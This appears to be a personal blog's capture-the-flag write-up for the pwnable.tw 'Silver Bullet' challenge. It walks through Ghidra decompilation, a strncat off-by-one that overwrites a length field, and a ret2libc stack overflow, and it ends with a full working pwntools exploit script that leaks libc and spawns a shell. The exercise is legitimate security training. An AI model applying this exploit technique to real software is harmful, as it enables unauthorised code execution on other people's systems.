Avatar Hi. My second name is edmund. I like pentest, pwn and reverse engineering. Here I will be posting writeups for various challenges and HackTheBox machines.

Pwnable.tw Silver Bullet

Recon

I loaded the binary in Ghidra, and decompiled main:

undefined4 main(void)

{
  int iVar1;
  undefined4 local_40;
  undefined *local_3c;
  undefined local_38 [48];
  undefined4 local_8;
  
  init_proc();
  local_8 = 0;
  memset(local_38,0,0x30);
  local_40 = 0x7fffffff;
  local_3c = &DAT_08048d06;
  do {
    while( true ) {
      while( true ) {
        menu();
        iVar1 = read_int();
        if (iVar1 != 2) break;
        power_up(local_38);
      }
      if (2 < iVar1) break;
      if (iVar1 == 1) {
        create_bullet(local_38);
      }
      else {
LAB_08048a05:
        puts("Invalid choice");
      }
    }
    if (iVar1 != 3) {
      if (iVar1 == 4) {
        puts("Don\'t give up !");
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_08048a05;
    }
    iVar1 = beat(local_38,&local_40);
    if (iVar1 != 0) {
      return 0;
    }
    puts("Give me more power !!");
  } while( true );
}

I also took a look at create_bullet:

void create_bullet(char *param_1)

{
  size_t power;
  
  if (*param_1 == '\0') {
    printf("Give me your description of bullet :",0);
    read_input(param_1,0x30);
    power = strlen(param_1);
    printf("Your power is : %u\n",power);
    *(size_t *)(param_1 + 0x30) = power;
    puts("Good luck !!");
  }
  else {
    puts("You have been created the Bullet !");
  }
  return;
}

The way this function handles the parameter made me think that the parameter is a struct, so I declared one in Ghidra:

bullet_struct

After changing the parameter type to our struct, everything looks more clear.

void create_bullet(bullet *param_1)

{
  size_t power;
  
  if (param_1->description[0] == '\0') {
    printf("Give me your description of bullet :",0);
    read_input(param_1,0x30);
    power = strlen((char *)param_1);
    printf("Your power is : %u\n",power);
    param_1->power = power;
    puts("Good luck !!");
  }
  else {
    puts("You have been created the Bullet !");
  }
  return;
}

Looks like the power is equal to the length of the description, and the max length is 0x30 -> max power = 0x30.

undefined4 beat(bullet *the_bullet,int *param2)

{
  undefined4 uVar1;
  
  if (the_bullet->description[0] == '\0') {
    puts("You need create the bullet first !");
    uVar1 = 0;
  }
  else {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n",param2[1]);
    printf(" + HP : %d\n",*param2);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(1000000);
    *param2 = *param2 - the_bullet->power;
    if (*param2 < 1) {
      puts("Oh ! You win !!");
      uVar1 = 1;
    }
    else {
      puts("Sorry ... It still alive !!");
      uVar1 = 0;
    }
  }
  return uVar1;
}

Hm….looks like we need to create another struct for param2.

werewolf_struct

int beat(bullet *the_bullet,w_wolf *werewolf)

{
  int win;
  
  if (the_bullet->description[0] == '\0') {
    puts("You need create the bullet first !");
    win = 0;
  }
  else {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n",werewolf->name);
    printf(" + HP : %d\n",werewolf->hp);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(1000000);
    werewolf->hp = werewolf->hp - the_bullet->power;
    if (werewolf->hp < 1) {
      puts("Oh ! You win !!");
      win = 1;
    }
    else {
      puts("Sorry ... It still alive !!");
      win = 0;
    }
  }
  return win;
}

So, to beat the werewolf, we need to lower his HP(which is very high ->0x7fffffff) with our bullet’s power.

We rename things in main() to make thing clearer.

undefined4 main(void)

{
  int option;
  w_wolf werewolf;
  bullet the_bullet;
  
  init_proc();
  the_bullet.power = 0;
  memset(&the_bullet,0,0x30);
  werewolf.hp = 0x7fffffff;
  werewolf.name = "Gin";
  do {
    while( true ) {
      while( true ) {
        menu();
        option = read_int();
        if (option != 2) break;
        power_up(&the_bullet);
      }
      if (2 < option) break;
      if (option == 1) {
        create_bullet(&the_bullet);
      }
      else {
LAB_08048a05:
        puts("Invalid choice");
      }
    }
    if (option != 3) {
      if (option == 4) {
        puts("Don\'t give up !");
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_08048a05;
    }
    option = beat(&the_bullet,&werewolf);
    if (option != 0) {
      return 0;
    }
    puts("Give me more power !!");
  } while( true );
}

Now to take a look at the last big function:

void power_up(bullet *the_bullet)

{
  bullet other_bullet;
  
  other_bullet.power = 0;
  memset(&other_bullet,0,0x30);
  if (the_bullet->description[0] == '\0') {
    puts("You need create the bullet first !");
  }
  else {
    if (the_bullet->power < 0x30) {
      printf("Give me your another description of bullet :");
      read_input(&other_bullet,0x30 - the_bullet->power);
      strncat((char *)the_bullet,(char *)&other_bullet,0x30 - the_bullet->power);
      other_bullet.power = strlen((char *)&other_bullet);
      other_bullet.power = the_bullet->power + other_bullet.power;
      printf("Your new power is : %u\n",other_bullet.power);
      the_bullet->power = other_bullet.power;
      puts("Enjoy it !");
    }
    else {
      puts("You can\'t power up any more !");
    }
  }
  return;
}

It creates another bullet, initializes both the name and the power with 0. If the primary bullet’s power is lower than 30, it reads the description for the second bullet, the size being max_size - primary bullet's power. After that, it uses strncat to concatenate the second bullet description to the first. After that, it sets the primary bullet’s power to primary bullet power + second bullet power. So where’s the vulnerability?? Well, the vulnerability resides in the the use of strncat. A lot of str functions append a nullbyte to the destination string.

strncat

So the destination string’s size must be size(0x30) + 1, but the description has only 0x30. Now, if we create a bullet with strlen(description) = 0x30-X, and we power it up using a bullet with strlen(description) = X. Let’s take X = 1, primary bullet's description = "A"*0x2f, secondary bullet's description = "B".

    create(b"A"*0x2f)
    powerup(b"B")

We put a breakpoint just before the strncat, and we take a look at primary bullet’s struct in memory:

bullet_memory

We can also create a struct and load it in GDB to see things better.

struct bullet{
    char description[0x30];
    int power;
};

struct bullet the_bullet;

We compile it: gcc -m32 -g -c st.c and we load it in GDB: pwndbg> add-symbol-file st.o 0, and we use it:

pwndbg> p *(struct bullet*) 0xff8558d4             
$2 = {
  description = 'A' <repeats 47 times>,
  power = 47
}

This is before the strncat. Now, we step, and inspect again:

pwndbg> x/16x 0xff8558d4
0xff8558d4:     0x41414141      0x41414141      0x41414141      0x41414141 |
0xff8558e4:     0x41414141      0x41414141      0x41414141      0x41414141 | -> description
0xff8558f4:     0x41414141      0x41414141      0x41414141      0x42414141 |
0xff855904:     0x00000000      0x00000000      0xf7ddc637      0x00000001
                ----------
                power = 0

pwndbg> p *(struct bullet*) 0xff8558d4
$3 = {
  description = 'A' <repeats 47 times>, "B", 
  power = 0
}

So what happened?? As we all know, strncat appends a nullbyte after it concatenates the string. So, after “B” came a “\x00”, which overwrote power’s LSB, setting it to 0. After strncat:

      other_bullet.power = strlen((char *)&other_bullet); // other_bullet.power = 1 (a single "B")
      other_bullet.power = the_bullet->power + other_bullet.power; // other_bullet.power = 0 + 1 = 1
      printf("Your new power is : %u\n",other_bullet.power);
      the_bullet->power = other_bullet.power; // the_bullet->power = 1

Ok….now what? Well, we can call power_up again (we pass the if check, because the_bullet->power < 0x30) and concatenate again, overwriting a lot of things on the stack.

This is before strncat

pwndbg> x/16x 0xff8558d4
0xff8558d4:     0x41414141      0x41414141      0x41414141      0x41414141 |
0xff8558e4:     0x41414141      0x41414141      0x41414141      0x41414141 | -> description
0xff8558f4:     0x41414141      0x41414141      0x41414141      0x42414141 |
0xff855904:     0x000000|01     0x00000000      0xf7ddc637      0x00000001
                ---------
       The concatenated string will start from here  

So, what string do we choose to concatenate? Well, we need high power, so we start with "\xff" * 3 (*3, because the LSB is already 0x01). After that, comes EBP, which we can overwrite with anything("A"*4), and the ESP(return address), which we can overwrite with everything we need. What do we need? Well, we need a libc leak in order to get the system’s function address. How do we get a leak? We call puts(puts_got_entry). How do we do that? Well, on x32 binaries, it’s like this:

function_called + where_do_we_want_to_return + function_parameter

So we continue our string with plt[“puts”] + main_address + got[“puts”].

powerup(b"\xff"*3 + b"A"*4 + p32(exe.plt["puts"]) + p32(exe.sym["main"]) + p32(exe.got["puts"]))

Now, we execute strncat, and we inspect again.

pwndbg> x/16x 0xff8558d4
0xff8558d4:     0x41414141      0x41414141      0x41414141      0x41414141 |
0xff8558e4:     0x41414141      0x41414141      0x41414141      0x41414141 | <- description
0xff8558f4:     0x41414141      0x41414141      0x41414141      0x42414141 |
0xff855904:     0xffffff01      0x41414141      0x080484a8      0x08048954
                ----------                      ----------      
                power                          return address

pwndbg> p/x *(struct bullet*) 0xff8558d4
$5 = {
  description = {0x41 <repeats 47 times>, 0x42}, 
  power = 0xffffff01
}

As we can see, the bullet’s power is way bigger than the werewolf’s HP. And we also overwritten the return address. Now, we call beat(), we beat the werewolf, and we reach main()’s return instruction. Instead of returning to __libc_start_main, it will call puts(puts_got_entry) and we will receive puts address in libc. We subtract the puts offset, and we get the libc’s base. After we got that, we can calculate the system address, and we can call system("/bin/sh") the same way we called puts(puts_got_entry).

    create(b"A"*0x2f)
    powerup(b"B")

    powerup(b"\xff"*3 + b"A"*4 + p32(libc.sym["system"]) + p32(exe.sym["main"]) + p32(next(libc.search(b"/bin/sh\x00"))))
    
    beat()

And sure, we get a shell. :3

Full script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./silver_bullet")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")

context.binary = exe
context.terminal = ["tmux", "new-window"]

def conn():
    if args.LOCAL:
        return process(exe.path, env={"LD_PRELOAD": libc.path})
    else:
        return remote("chall.pwnable.tw", 10103)

def create(data):
    r.sendlineafter("Your choice :", "1")
    r.sendafter("bullet :", data)
    r.recvuntil("Good luck !!\n")

def powerup(data):
    r.sendafter("Your choice :", "2")
    r.sendafter("bullet :", data)
    r.recvuntil("Enjoy it !\n")

def beat():
    r.sendlineafter("Your choice :", "3")

def main():
    global r 
    r = conn()

    if args.GDB:
        gdb.attach(r,'''
                   b *0x80488fb
                   ''')


    create(b"A"*0x2f)
    powerup(b"B")

    powerup(b"\xff"*3 + b"A"*4 + p32(exe.plt["puts"]) + p32(exe.sym["main"]) + p32(exe.got["puts"]))

    beat()

    r.recvuntil("Oh ! You win !!\n")

    libc.address = u32(r.recv(4)) - libc.sym["puts"]

    info("LIBC_BASE @ {}".format(hex(libc.address)))



    create(b"A"*0x2f)
    powerup(b"B")

    powerup(b"\xff"*3 + b"A"*4 + p32(libc.sym["system"]) + p32(exe.sym["main"]) + p32(next(libc.search(b"/bin/sh\x00"))))
    
    beat()

    r.interactive()


if __name__ == "__main__":
    main()

all tags